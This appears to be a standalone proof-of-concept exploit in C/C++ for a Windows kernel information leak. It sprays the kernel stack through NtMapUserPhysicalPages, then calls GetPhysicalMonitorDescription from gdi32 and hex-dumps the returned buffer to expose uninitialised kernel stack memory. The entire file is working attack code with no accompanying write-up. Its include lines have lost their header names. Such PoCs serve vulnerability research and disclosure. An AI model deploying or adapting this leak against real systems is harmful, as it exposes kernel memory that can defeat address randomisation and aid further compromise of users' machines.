#include #include #include extern "C" NTSTATUS WINAPI NtMapUserPhysicalPages( PVOID BaseAddress, ULONG NumberOfPages, PULONG PageFrameNumbers ); NTSTATUS(WINAPI *GetPhysicalMonitorDescription)( _In_ HANDLE hMonitor, _In_ DWORD dwPhysicalMonitorDescriptionSizeInChars, _Out_ LPWSTR szPhysicalMonitorDescription ); #define PHYSICAL_MONITOR_DESCRIPTION_SIZE 128 #define STATUS_SUCCESS 0 VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } VOID MyMemset(PVOID ptr, BYTE byte, ULONG size) { PBYTE _ptr = (PBYTE)ptr; for (ULONG i = 0; i < size; i++) { _ptr[i] = byte; } } VOID SprayKernelStack() { // Buffer allocated in static program memory, hence doesn't touch the local stack. static SIZE_T buffer[1024]; // Fill the buffer with 'A's and spray the kernel stack. MyMemset(buffer, 'A', sizeof(buffer)); NtMapUserPhysicalPages(buffer, ARRAYSIZE(buffer), (PULONG)buffer); // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's. MyMemset(buffer, 'B', sizeof(buffer)); } int main() { WCHAR OutputBuffer[PHYSICAL_MONITOR_DESCRIPTION_SIZE]; HMODULE hGdi32 = LoadLibrary(L"gdi32.dll"); GetPhysicalMonitorDescription = (NTSTATUS(WINAPI *)(HANDLE, DWORD, LPWSTR))GetProcAddress(hGdi32, "GetPhysicalMonitorDescription"); // Create a window for referencing a monitor. HWND hwnd = CreateWindowW(L"BUTTON", L"TestWindow", WS_OVERLAPPEDWINDOW | WS_VISIBLE, CW_USEDEFAULT, CW_USEDEFAULT, 100, 100, NULL, NULL, 0, 0); ///////////////////////////////////////////////////////////////////////////// // Source: https://msdn.microsoft.com/en-us/library/windows/desktop/dd692950(v=vs.85).aspx ///////////////////////////////////////////////////////////////////////////// HMONITOR hMonitor = NULL; DWORD cPhysicalMonitors; LPPHYSICAL_MONITOR pPhysicalMonitors = NULL; // Get the monitor handle. hMonitor = MonitorFromWindow(hwnd, MONITOR_DEFAULTTOPRIMARY); // Get the number of physical monitors. BOOL bSuccess = GetNumberOfPhysicalMonitorsFromHMONITOR(hMonitor, &cPhysicalMonitors); if (bSuccess) { // Allocate the array of PHYSICAL_MONITOR structures. pPhysicalMonitors = (LPPHYSICAL_MONITOR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cPhysicalMonitors * sizeof(PHYSICAL_MONITOR)); if (pPhysicalMonitors != NULL) { // Get the array. bSuccess = GetPhysicalMonitorsFromHMONITOR(hMonitor, cPhysicalMonitors, pPhysicalMonitors); if (bSuccess) { for (DWORD i = 0; i < cPhysicalMonitors; i++) { RtlZeroMemory(OutputBuffer, sizeof(OutputBuffer)); SprayKernelStack(); NTSTATUS st = GetPhysicalMonitorDescription(pPhysicalMonitors[i].hPhysicalMonitor, PHYSICAL_MONITOR_DESCRIPTION_SIZE, OutputBuffer); if (st == STATUS_SUCCESS) { PrintHex((PBYTE)OutputBuffer, sizeof(OutputBuffer)); } else { printf("[-] GetPhysicalMonitorDescription failed, %x\n", st); } } // Close the monitor handles. bSuccess = DestroyPhysicalMonitors(cPhysicalMonitors, pPhysicalMonitors); } // Free the array. HeapFree(GetProcessHeap(), 0, pPhysicalMonitors); } } DestroyWindow(hwnd); return 0; }